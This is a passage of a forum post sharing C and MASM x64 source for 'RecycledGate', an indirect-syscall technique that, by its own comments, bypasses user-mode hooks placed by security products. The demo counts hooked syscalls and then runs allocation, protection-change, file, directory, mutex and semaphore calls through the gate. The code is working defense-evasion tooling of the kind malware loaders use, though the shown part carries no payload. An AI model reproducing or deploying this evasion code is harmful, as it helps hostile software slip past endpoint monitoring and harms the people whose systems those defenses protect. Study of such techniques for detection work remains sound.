    printf("    - Total syscalls: %d\n", (int)(sizeof(pEntries) / sizeof(pEntries[0])));
    printf("    - Hooked syscalls: %d\n", totalHooked);
    printf("    - Clean syscalls: %d\n", (int)(sizeof(pEntries) / sizeof(pEntries[0])) - totalHooked);

    // Now test all syscall functions
    printf("\n[+] Testing syscall functions with RecycledGate...\n");

    NTSTATUS status;
    DWORD successes = 0;
    DWORD failures = 0;
    DWORD skipped = 0;

    // Define a test execution macro without try/catch (C-compatible)
#define TEST_SYSCALL(name, test_code) \
        printf("\n
[*]Testing %s...\n", name); \
        { test_code }

    // =================== Memory Operations ===================

    TEST_SYSCALL("NtAllocateVirtualMemory", {
        PVOID pBaseAddress = NULL;
        SIZE_T RegionSize = 4096;

        status = RG_NtAllocateVirtualMemory(
            GetCurrentProcess(),
            &pBaseAddress,
            0,
            &RegionSize,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE
        );

        if (NT_SUCCESS(status)) {
            printf("[+] Memory allocated at 0x%p\n", pBaseAddress);
            successes++;

            // Test NtProtectVirtualMemory
            TEST_SYSCALL("NtProtectVirtualMemory", {
                ULONG OldProtect = 0;
                status = RG_NtProtectVirtualMemory(
                    GetCurrentProcess(),
                    &pBaseAddress,
                    &RegionSize,
                    PAGE_EXECUTE_READ,
                    &OldProtect
                );

                if (NT_SUCCESS(status)) {
                    printf("[+] Memory protection changed\n");
                    successes++;
                }
 else {
  printf("[!] Failed to change memory protection (status: 0x%x)\n", status);
  failures++;
}
});

            // Test NtFreeVirtualMemory
            TEST_SYSCALL("NtFreeVirtualMemory", {
                status = RG_NtFreeVirtualMemory(
                    GetCurrentProcess(),
                    &pBaseAddress,
                    &RegionSize,
                    MEM_RELEASE
                );

                if (NT_SUCCESS(status)) {
                    printf("[+] Memory freed\n");
                    successes++;
                }
 else {
  printf("[!] Failed to free memory (status: 0x%x)\n", status);
  failures++;
}
});
}
else {
 printf("[!] Failed to allocate memory (status: 0x%x)\n", status);
 failures++;
}
        });

    // =================== File Operations ===================
    HANDLE hFile = NULL;

    TEST_SYSCALL("NtCreateFile", {
        UNICODE_STRING fileName;
        OBJECT_ATTRIBUTES objAttr;
        IO_STATUS_BLOCK ioStatusBlock;

        WCHAR fileNameBuffer[MAX_PATH] = L"\\??\\C:\\Users\\Public\\RecycledGateTest.txt";

        InitializeUnicodeString(&fileName, fileNameBuffer);
        InitializeObjectAttributes(&objAttr, &fileName, OBJ_CASE_INSENSITIVE, NULL, NULL);

        status = RG_NtCreateFile(
            &hFile,
            FILE_GENERIC_WRITE | FILE_GENERIC_READ,
            &objAttr,
            &ioStatusBlock,
            NULL,
            FILE_ATTRIBUTE_NORMAL,
            FILE_SHARE_READ,
            FILE_OVERWRITE_IF,
            FILE_SYNCHRONOUS_IO_NONALERT,
            NULL,
            0
        );

        if (NT_SUCCESS(status)) {
            printf("[+] File created\n");
            successes++;
        }
 else if (status == STATUS_ACCESS_DENIED) {
  printf("
[*]File creation failed with ACCESS_DENIED (expected if running without admin rights)\n");
  skipped++;
  hFile = NULL;  // Ensure we don't try to use this handle
}
else {
 printf("[!] Failed to create file (status: 0x%x)\n", status);
 failures++;
 hFile = NULL;  // Ensure we don't try to use this handle
}
        });

    if (hFile != NULL) {
        // Test NtWriteFile
        TEST_SYSCALL("NtWriteFile", {
            IO_STATUS_BLOCK ioStatusBlock;
            char testData[] = "Hello from RecycledGate!";

            status = RG_NtWriteFile(
                hFile,
                NULL,
                NULL,
                NULL,
                &ioStatusBlock,
                testData,
                sizeof(testData) - 1,
                NULL,
                NULL
            );

            if (NT_SUCCESS(status)) {
                printf("[+] Data written to file\n");
                successes++;
            }
 else {
  printf("[!] Failed to write to file (status: 0x%x)\n", status);
  failures++;
}
            });

        // Test NtSetInformationFile
        TEST_SYSCALL("NtSetInformationFile", {
            IO_STATUS_BLOCK ioStatusBlock;
            FILE_BASIC_INFORMATION basicInfo = {0};

            // Set the file attributes to read-only
            basicInfo.FileAttributes = FILE_ATTRIBUTE_READONLY;

            status = RG_NtSetInformationFile(
                hFile,
                &ioStatusBlock,
                &basicInfo,
                sizeof(FILE_BASIC_INFORMATION),
                FileBasicInformation
            );

            if (NT_SUCCESS(status)) {
                printf("[+] File information set\n");
                successes++;

                // Reset the file attributes to normal
                basicInfo.FileAttributes = FILE_ATTRIBUTE_NORMAL;

                status = RG_NtSetInformationFile(
                    hFile,
                    &ioStatusBlock,
                    &basicInfo,
                    sizeof(FILE_BASIC_INFORMATION),
                    FileBasicInformation
                );

                if (!NT_SUCCESS(status)) {
                    printf("[!] Failed to reset file attributes (status: 0x%x)\n", status);
                }
            }
 else {
  printf("[!] Failed to set file information (status: 0x%x)\n", status);
  failures++;
}
            });

        // Test NtQueryInformationFile
        TEST_SYSCALL("NtQueryInformationFile", {
            IO_STATUS_BLOCK ioStatusBlock;
            FILE_BASIC_INFORMATION basicInfo = {0};

            status = RG_NtQueryInformationFile(
                hFile,
                &ioStatusBlock,
                &basicInfo,
                sizeof(FILE_BASIC_INFORMATION),
                FileBasicInformation
            );

            if (NT_SUCCESS(status)) {
                printf("[+] File information queried (attributes: 0x%x)\n", basicInfo.FileAttributes);
                successes++;
            }
 else {
  printf("[!] Failed to query file information (status: 0x%x)\n", status);
  failures++;
}
            });

        // Test NtReadFile
        TEST_SYSCALL("NtReadFile", {
            IO_STATUS_BLOCK ioStatusBlock;
            char readBuffer[100] = {0};

            // Seek to the beginning of the file
            FILE_POSITION_INFORMATION posInfo = {0};

            status = RG_NtSetInformationFile(
                hFile,
                &ioStatusBlock,
                &posInfo,
                sizeof(FILE_POSITION_INFORMATION),
                FilePositionInformation
            );

            if (NT_SUCCESS(status)) {
                status = RG_NtReadFile(
                    hFile,
                    NULL,
                    NULL,
                    NULL,
                    &ioStatusBlock,
                    readBuffer,
                    sizeof(readBuffer) - 1,
                    NULL,
                    NULL
                );

                if (NT_SUCCESS(status)) {
                    printf("[+] Data read from file: '%s'\n", readBuffer);
                    successes++;
                }
 else {
  printf("[!] Failed to read from file (status: 0x%x)\n", status);
  failures++;
}
}
else {
 printf("[!] Failed to seek to beginning of file (status: 0x%x)\n", status);
 failures++;
}
            });

        // Test NtClose for the file
        TEST_SYSCALL("NtClose (File)", {
            status = RG_NtClose(hFile);

            if (NT_SUCCESS(status)) {
                printf("[+] File closed\n");
                successes++;
                hFile = NULL;
            }
 else {
  printf("[!] Failed to close file (status: 0x%x)\n", status);
  failures++;
}
            });
    }

    // =================== OpenFile Test ===================
    TEST_SYSCALL("NtOpenFile", {
        HANDLE hOpenFile = NULL;
        UNICODE_STRING fileName;
        OBJECT_ATTRIBUTES objAttr;
        IO_STATUS_BLOCK ioStatusBlock;

        WCHAR fileNameBuffer[MAX_PATH] = L"\\??\\C:\\Windows\\System32\\kernel32.dll";

        InitializeUnicodeString(&fileName, fileNameBuffer);
        InitializeObjectAttributes(&objAttr, &fileName, OBJ_CASE_INSENSITIVE, NULL, NULL);

        status = RG_NtOpenFile(
            &hOpenFile,
            FILE_GENERIC_READ,
            &objAttr,
            &ioStatusBlock,
            FILE_SHARE_READ,
            FILE_SYNCHRONOUS_IO_NONALERT
        );

        if (NT_SUCCESS(status)) {
            printf("[+] File opened\n");
            successes++;

            // Test NtQueryAttributesFile indirectly by closing this handle
            status = RG_NtClose(hOpenFile);
            if (NT_SUCCESS(status)) {
                printf("[+] Opened file closed\n");
                successes++;
            }
 else {
  printf("[!] Failed to close opened file (status: 0x%x)\n", status);
  failures++;
}
}
else {
 printf("[!] Failed to open file (status: 0x%x)\n", status);
 failures++;
}
        });

    // =================== Directory Operations ===================
    TEST_SYSCALL("NtOpenDirectoryObject", {
        HANDLE hDirectory = NULL;
        UNICODE_STRING dirName;
        OBJECT_ATTRIBUTES objAttr;

        WCHAR dirNameBuffer[MAX_PATH] = L"\\BaseNamedObjects";

        InitializeUnicodeString(&dirName, dirNameBuffer);
        InitializeObjectAttributes(&objAttr, &dirName, OBJ_CASE_INSENSITIVE, NULL, NULL);

        status = RG_NtOpenDirectoryObject(
            &hDirectory,
            DIRECTORY_QUERY,
            &objAttr
        );

        if (NT_SUCCESS(status)) {
            printf("[+] Directory object opened\n");
            successes++;

            // Test NtQueryDirectoryObject
            TEST_SYSCALL("NtQueryDirectoryObject", {
                BYTE buffer[1024] = {0};
                ULONG returnLength = 0;
                ULONG context = 0;

                status = RG_NtQueryDirectoryObject(
                    hDirectory,
                    buffer,
                    sizeof(buffer),
                    TRUE,
                    TRUE,
                    &context,
                    &returnLength
                );

                if (NT_SUCCESS(status)) {
                    printf("[+] Directory object queried\n");
                    successes++;
                }
 else {
  printf("[!] Failed to query directory object (status: 0x%x)\n", status);
  failures++;
}
});

status = RG_NtClose(hDirectory);
if (NT_SUCCESS(status)) {
    printf("[+] Directory object closed\n");
    successes++;
}
else {
 printf("[!] Failed to close directory object (status: 0x%x)\n", status);
 failures++;
}
}
else {
 printf("[!] Failed to open directory object (status: 0x%x)\n", status);
 failures++;
}
        });

    // =================== System Information ===================
    TEST_SYSCALL("NtQuerySystemInformation", {
        ULONG returnLength = 0;

    // First query to get the required buffer size
    status = RG_NtQuerySystemInformation(
        SystemBasicInformation,
        NULL,
        0,
        &returnLength
    );

    if (status == STATUS_INFO_LENGTH_MISMATCH && returnLength > 0) {
        PVOID buffer = malloc(returnLength);
        if (buffer) {
            status = RG_NtQuerySystemInformation(
                SystemBasicInformation,
                buffer,
                returnLength,
                &returnLength
            );

            if (NT_SUCCESS(status)) {
                printf("[+] System information queried\n");
                successes++;
            }
else {
 printf("[!] Failed to query system information (status: 0x%x)\n", status);
 failures++;
}

free(buffer);
}
else {
 printf("[!] Failed to allocate memory for system information\n");
 failures++;
}
}
else {
 printf("[!] Failed to get system information buffer size (status: 0x%x)\n", status);
 failures++;
}
        });

    // =================== Synchronization Objects ===================
    TEST_SYSCALL("NtCreateMutant", {
        HANDLE hMutant = NULL;
        UNICODE_STRING mutantName;
        OBJECT_ATTRIBUTES objAttr;

        WCHAR mutantNameBuffer[MAX_PATH] = L"\\??\\RecycledGateTestMutant";

        InitializeUnicodeString(&mutantName, mutantNameBuffer);
        InitializeObjectAttributes(&objAttr, &mutantName, OBJ_CASE_INSENSITIVE, NULL, NULL);

        status = RG_NtCreateMutant(
            &hMutant,
            MUTANT_ALL_ACCESS,
            &objAttr,
            FALSE
        );

        if (NT_SUCCESS(status)) {
            printf("[+] Mutant created\n");
            successes++;

            // Test NtClose for mutant
            status = RG_NtClose(hMutant);
            if (NT_SUCCESS(status)) {
                printf("[+] Mutant closed\n");
                successes++;
            }
 else {
  printf("[!] Failed to close mutant (status: 0x%x)\n", status);
  failures++;
}
}
else {
 printf("[!] Failed to create mutant (status: 0x%x)\n", status);
 failures++;
}
        });

    TEST_SYSCALL("NtCreateSemaphore", {
        HANDLE hSemaphore = NULL;
        UNICODE_STRING semaphoreName;
        OBJECT_ATTRIBUTES objAttr;

        WCHAR semaphoreNameBuffer[MAX_PATH] = L"\\??\\RecycledGateTestSemaphore";

        InitializeUnicodeString(&semaphoreName, semaphoreNameBuffer);
        InitializeObjectAttributes(&objAttr, &semaphoreName, OBJ_CASE_INSENSITIVE, NULL, NULL);

        status = RG_NtCreateSemaphore(
            &hSemaphore,
            SEMAPHORE_ALL_ACCESS,
            &objAttr,
            2,  // Initial count
            10  // Maximum count
        );

        if (NT_SUCCESS(status)) {
            printf("[+] Semaphore created\n");
            successes++;

            // Test NtReleaseSemaphore
            TEST_SYSCALL("NtReleaseSemaphore", {
                LONG previousCount = 0;

                status = RG_NtReleaseSemaphore(
                    hSemaphore,
                    1,  // Release count
                    &previousCount
                );

                if (NT_SUCCESS(status)) {
                    printf("[+] Semaphore released (previous count: %ld)\n", previousCount);
                    successes++;
                }
 else {
  printf("[!] Failed to release semaphore (status: 0x%x)\n", status);
  failures++;
}
});

            // Test NtWaitForSingleObject
            TEST_SYSCALL("NtWaitForSingleObject", {
                LARGE_INTEGER timeout;
                timeout.QuadPart = -10000000;  // 1 second in 100ns intervals

                status = RG_NtWaitForSingleObject(
                    hSemaphore,
                    FALSE,
                    &timeout
                );

                if (NT_SUCCESS(status)) {
                    printf("[+] Wait for single object succeeded\n");
                    successes++;
                }
 else {
  printf("[!] Wait for single object failed (status: 0x%x)\n", status);
  failures++;
}
});

            // Close the semaphore
            status = RG_NtClose(hSemaphore);
            if (NT_SUCCESS(status)) {
                printf("[+] Semaphore closed\n");
                successes++;
            }
 else {
  printf("[!] Failed to close semaphore (status: 0x%x)\n", status);
  failures++;
}
}
else {
 printf("[!] Failed to create semaphore (status: 0x%x)\n", status);
 failures++;
}
        });

    // =================== Delay Execution ===================
    TEST_SYSCALL("NtDelayExecution", {
        LARGE_INTEGER delay;
        delay.QuadPart = -10000000;  // 1 second in 100ns intervals

        printf("
[*]Delaying execution for 1 second...\n");

        status = RG_NtDelayExecution(
            FALSE,
            &delay
        );

        if (NT_SUCCESS(status)) {
            printf("[+] Delay execution succeeded\n");
            successes++;
        }
 else {
  printf("[!] Delay execution failed (status: 0x%x)\n", status);
  failures++;
}
        });

    // The following APIs may be more complex to test or require specific setup:
    // - NtWaitForMultipleObjects (would need multiple objects)
    // - NtFsControlFile (requires specific control codes)
    // - NtDeviceIoControlFile (requires specific device handles)
    // - NtSetSecurityObject (requires security descriptors)
    // - NtQueryVolumeInformationFile (requires volume handle)
    printf("\n
[*]Skipping complex APIs that require specific setup:\n");
    printf("    - NtWaitForMultipleObjects\n");
    printf("    - NtFsControlFile\n");
    printf("    - NtDeviceIoControlFile\n");
    printf("    - NtSetSecurityObject\n");
    printf("    - NtQueryVolumeInformationFile\n");
    printf("    - NtQueryAttributesFile\n");
    printf("    - NtQueryDirectoryFile\n");

    // Print summary
    printf("\n[+] RecycledGate demo completed.\n");
    printf("[+] Successful operations: %lu\n", successes);
    printf("[+] Failed operations: %lu\n", failures);
    printf("[+] Skipped operations: %lu\n", skipped);

    // Clean up any remaining handles
    if (hFile != NULL) {
        RG_NtClose(hFile);
    }

    return (failures == 0);
}
Main.c
Code:
#include <Windows.h>
#include <stdio.h>
#include "structs.h"
#include "RecycledGate.h" // Include the header file

int main() {
    printf("=====================================================\n");
    printf("  Direct Syscall Technique: RecycledGate  \n");
    printf("=====================================================\n\n");

    printf("
[*]Running RecycledGate demo...\n\n");
    BOOL result = RecycledGateDemo();
    printf("\n[+] RecycledGate demo %s.\n", result ? "succeeded" : "failed");

    printf("\nPress any key to exit...");
    getchar();
    return 0;
}

recycledGate.asm
Code:
; RecycledGate - MASM x64 format
; Dynamic system call invocation with hook bypass

; Make sure to compile this with ML64 (MASM x64)

.code

; Make our functions visible to the linker
PUBLIC RecycledGate
PUBLIC RecycledGateDescent

.data
    ; Global variables to store syscall info
    wSystemCall DWORD 000h
    qRecycledGate QWORD 0000000000000000h

.code
; RecycledGate stores both syscall number and a pointer to the syscall instruction
RecycledGate PROC
    mov wSystemCall, 000h  ; Clear the syscall number
    mov wSystemCall, ecx    ; Store the syscall number in global variable
    mov qRecycledGate, rdx  ; Store the address of the syscall instruction 
    ret
RecycledGate ENDP

; RecycledGateDescent jumps to the syscall instruction directly
RecycledGateDescent PROC
    mov r10, rcx            ; syscall convention requires first param in r10
    mov eax, wSystemCall    ; Move the syscall number to eax
    
    ; Instead of executing syscall directly, 
    ; jump to the recycled gate (the address of a syscall; ret sequence)
    jmp qword ptr [qRecycledGate]
    
    ; The recycled gate will return directly to the caller
RecycledGateDescent ENDP

END
0
Reply



Users browsing this thread: 1 Guest(s)